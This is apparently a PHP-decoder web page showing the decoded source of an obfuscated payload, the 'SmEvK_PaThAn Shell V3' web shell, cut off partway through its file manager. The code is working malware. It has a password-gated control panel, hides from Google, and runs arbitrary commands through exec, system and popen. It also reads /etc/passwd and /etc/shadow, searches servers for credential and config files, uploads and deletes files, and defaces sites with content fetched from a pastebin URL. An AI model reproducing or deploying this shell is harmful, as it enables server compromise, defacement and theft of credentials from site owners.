Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(g..
Decoded Output download
?>b'<?php
/*
Ra0 SaaD Coder .
https://www.facebook.com/RaoX44D
[email protected]
Edit Shell according to your choice.
Domain read bypass.
Enjoy!
*/
//Make your setting here.
$deface_url = \'http://pastebin.com/raw.php?i=FHfxsFGT\'; //deface url here(pastebin).
$UserName = "hellyeah"; //Your UserName here.
$auth_pass = "hellyeah"; //Your Password.
//Change Shell Theme here//
$color = "#ABEFFF"; //Fonts color modify here.
$Theme = \'#09B5A6\'; //Change border-color accoriding to your choice.
$TabsColor = \'#0E5061\'; //Change tabs color here.
#-------------------------------------------------------------------------------
?>
<?php
$smevk = "<?php

$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}

@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}

function printLogin() {
 if ($_POST['pass'] != $auth_pass && $_POST['uname'] != $UserName) {
    $status = 'Wrong Password or UserName :(';
    

}

?>

<html>
<head>
<title>SmEvK v3</title>
<link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet">
</head>
<style>
body{
   font-family: Josefin Sans, sans-serif;
    background: black;
    color:#ABEFFF;
}
    .loginpage img{
        width: 500px;
        height: 150px;
    }
    .loginpage{
        height: 400px;
        width: 500px;
        border:1px solid;
        border-color:#ABEFFF;
        text-align: center;
        border-radius: 5px;
        margin-top: 100px;
    }
    #pageheading{
        font-size:25px;
        color:#ABEFFF;
        margin-top: 10px;
    }
    .loginpage img{
        width: 500px;
    
    }
    input{
        background: black;
        border-color:#ABEFFF;
        border-radius: 10px;
        margin-top: 10px; 
        padding:5px;
        color: #ABEFFF;
    }
     input:hover{
        background: #ABEFFF;
        color: red;

     }

</style>
<body>
<center>
<div class="loginpage">
    <img src="http://i63.tinypic.com/1108vic.jpg" alt="Smevk Logo">
    <div id="pageheading">SmEvK_PaThAn Shell V3</div>
    <form method="post">
        User Name: <input type="text" name="uname" ><br>
        Password :  <input type="password" name="pass" ><br>
       <input type="submit" name="login" value="Login">
 <?php

  if (isset($status)) {
   ?>  
 

     

    </form>
   
</d<p><?=$status?></p> 
</center>
</body>
</html>

<?php


  }      
    exit;
}

if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) &&  ($_POST['pass']) == $auth_pass  && ($_POST['uname']) == $UserName))
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

    else
        
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = 'win';
else
    $os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
    @chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
    $home_cwd = str_replace("\\", "/", $home_cwd);
    $cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
    $cwd .= '/';
    
if($os == 'win') {
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
} else {
    $aliases = array(
          "List dir" => "ls -la",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate '.conf'",
        "locate .pwd files" => "locate '.pwd'",
        "locate .sql files" => "locate '.sql'",
        "locate .htpasswd files" => "locate '.htpasswd'",
        "locate .bash_history files" => "locate '.bash_history'",
        "locate .mysql_history files" => "locate '.mysql_history'",
        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"    
    );
}
    if(isset($_POST['p1']) && $_POST['p1']=='deface') {
        
        $def = file_get_contents($deface_url);
        file_put_contents($_POST['c'].$_POST['p2'],$def);
    }
function ex($in) {
    $out = '';
    if(function_exists('exec')) {
        @exec($in,$out);
        $out = @join("\n",$out);
    }elseif(function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists('shell_exec')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}

function which($p) {
    $path = ex('which '.$p);
    if(!empty($path))
        return $path;
    return false;
}
    
function printHeader() {
    if(empty($_POST['charset']))
        $_POST['charset'] = "UTF-8";
    global $color;
    global $Theme;
    global $TabsColor;
        echo "<html><head><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
    echo '<html>
<meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>SmEvK v3</title>
<style>
        body {background-color:black;color:#fff;}
        body,td,th    { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
        span,h1,a    { color:'.$color.' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
        div.content    { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
        a            { text-decoration:none;   }
        a:hover        { border-bottom:0px solid #5e5e5e;text-decoration:none; }
        a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
        .ml1        { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
        .bigarea    { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
        input, textarea, select    { margin-top:0;color:#63E1FF;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;} 
        form        { margin:0px; background:#0F1010;}
        #toolsTbl    { text-align:center; }
        .toolsInp    { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
        .main th    {text-align:left;background-color:'.$TabsColor.';}
        .main tr:hover{background:'.$Theme.'; border:5px solid;border-color:'.$Theme.';}
        .main td, th{vertical-align:middle;}
        .menu { height:30px; border-radius:10px;}
        .menu th{padding:1px;border-radius: 5px;  background:'.$TabsColor.';     -webkit-transform: rotate(20deg);
    -moz-transform: rotate(20deg);
    -o-transform: rotate(20deg);
    -ms-transform: rotate(20deg);
    transform: rotate(20deg);}
        .menu th:hover{background:#0F1010;text-decoration: none;}
                pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}

                
        .cpr {margin-bottom:5px;font-weight:bold; }
        .cpb {width:34px;margin:0 5px;}
        
        .npoad td {padding:0;}
        #Smevktools{
        margin-top:50px;
        width:500px;
        border:1px solid;
        border-radius:10px;
    }
    .smevklogo td{
        font-size:12px;
        font-weight:bold;
        


    }
    .smevklogo{
        margin-left:5px;
        background:url(http://i63.tinypic.com/1108vic.jpg);
        background-repeat: no-repeat;
       background-position: CENTER; 
        background-color:#0F1010;
        background-size: 400px 120px;



    }
    </style>

</html>
<style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("'.$_SERVER['REQUEST_URI'].'", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
    <form method=post name=mf style="display:none;">
        <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
        <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
        <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
    </form>';
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $disable_functions = @ini_get('disable_functions');
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    if(!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n=count($path);
    for($i=0;$i<$n-1;$i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for($j=0;$j<=$i;$j++)
            $cwd_links .= $path[$j].'/';
        $cwd_links .= "\")'>".$path[$i]."/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach($charsets as $item)
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Import Scripts'=>'ImportScripts','Network'=>'Network','Readable Dirs'=>'Readable','Defacer' => 'Deface','Code Injector'=>'Injector','Domains' => 'Domain');
    if(!empty($GLOBALS['auth_pass']))
        $m['Logout'] = 'Logout';
    $menu = '';
    foreach($m as $k => $v)
        $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach( range('a','z') as $drive ){
            if (is_dir($drive.':\\'))
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
        }
        $drives .= '<br />: ';
    }
    if($GLOBALS['os'] == 'nix') {
        $dominios = @file_get_contents("/etc/named.conf");
        if(!$dominios) {
            $DomainS = "/var/named";
            $Domainonserver = scandir($DomainS);
            $d0c = count($Domainonserver);
        } else {
            @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
            $out = sizeof(array_unique($out[1]));
            $d0c = $out."  Domains";
        }
    } else {
        $d0c = "Nothing here bro:(";
    }
    if($GLOBALS['os'] == 'nix' )
    {
        $usefl = ''; $dwnldr = '';
        if(!@ini_get('safe_mode')) {
            $temp = array();
            $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
            foreach($userful as $item) { if(which($item)) $temp[]= $item; }
            $usefl = implode(', ',$temp);
            $temp = array();
            $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
            foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
            $dwnldr = implode(', ',$temp);
        } else {
            $usefl = ' ------- '; $dwnldr = ' ------- ';
        }
    } else { 
        $usefl = ' ------- '; $dwnldr = ' ------- ';
    } 
    echo '<div class="smevklogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
          <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
          <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
         '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
         '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
         '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
}

function printFooter() {
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";

echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
</table></div></div>
<div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:10px;margin:auto; width:500;">SmEvK_PaThAn Shell v3 coded by <a href="https://www.facebook.com/smevkpathan"> Kashif Khan</a></div></div>
</div>
</body></html>';
}

if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }


function viewSize($s) {
    if($s >= 1073741824)
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    elseif($s >= 1048576)
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    elseif($s >= 1024)
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
    else
        return $s . ' B';
}

function perms($p) {
    if (($p & 0xC000) == 0xC000)$i = 's';
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
    elseif (($p & 0x8000) == 0x8000)$i = '-';
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
    else $i = 'u';
    $i .= (($p & 0x0100) ? 'r' : '-');
    $i .= (($p & 0x0080) ? 'w' : '-');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
    $i .= (($p & 0x0020) ? 'r' : '-');
    $i .= (($p & 0x0010) ? 'w' : '-');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
    $i .= (($p & 0x0004) ? 'r' : '-');
    $i .= (($p & 0x0002) ? 'w' : '-');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
    return $i;
}

function viewPermsColor($f) { 
    if (!@is_readable($f))
        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
    elseif (!@is_writable($f))
        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
    else
        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}

if(!function_exists("scandir")) {
    function scandir($dir) {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}

function actionSecInfo() {
    printHeader();
    echo '<h1>Server security information</h1><div class=content>';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>'.$n.': </span>';
            if(strpos($v, "\n") === false)
                echo $v.'<br>';
            else
                echo '<pre class=ml1>'.$v.'</pre>';
        }
    }
    
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    showSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    
    if( $GLOBALS['os'] == 'nix' ) {
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if(!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Userful', implode(', ',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Danger', implode(', ',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam('Downloaders', implode(', ',$temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', ex('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version',ex('ver')); 
        showSecParam('Account Settings',ex('net accounts')); 
        showSecParam('User Accounts',ex('net user'));
    }
    echo '</div>';
    printFooter();
}

function actionFilesMan() {
    printHeader();
    echo '<h1>File manager</h1><div class=content>';
    if(isset($_POST['p1']) && $_POST['p1']!='deface') {
        switch($_POST['p1']) {
            case 'uploadFile':
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
                    echo "Can't upload file!";
                break;
                break;
            case 'mkdir':
                if(!@mkdir($_POST['p2']))
                    echo "Can't create new dir";
                break;
            case 'delete':
                function deleteDir($path) {
                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if(is_array(@$_POST['f']))
                    foreach($_POST['f'] as $f) {
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
                        
  
                    
                
            case 'paste':
                if($_SESSION['act'] == 'copy') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);                    
                } elseif($_SESSION['act'] == 'move') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
                }
                unset($_SESSION['f']);
                break;
            default:
                if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
                    $_SESSION['act'] = @$_POST['p1'];
                    $_SESSION['f'] = @$_POST['f'];
                    foreach($_SESSION['f'] as $k => $f)
                        $_SESSION['f'][$k] = urldecode($f);
                    $_SESSION['cwd'] = @$_POST['c'];
                }
                break;
        }
        echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
    }

    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
    if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
    global $sort;
    $sort = array('name', 1);
    if(!empty($_POST['p1'])) {
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
    echo '<script>
        function sa() {
            for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == \'checkbox\')
                document.files.elements[i].checked = document.files.elements[0].checked;
        }
        </script>
        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
        <form name=files method=post>';
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i],
                     'path' => $GLOBALS['cwd'].$dirContent[$i],
                     'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
                     'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
            $files[] = array_merge($tmp, array('type' => 'file'));
        elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
            $links[] = array_merge($tmp, array('type' => 'link'));
        elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function cmp($a, $b) {
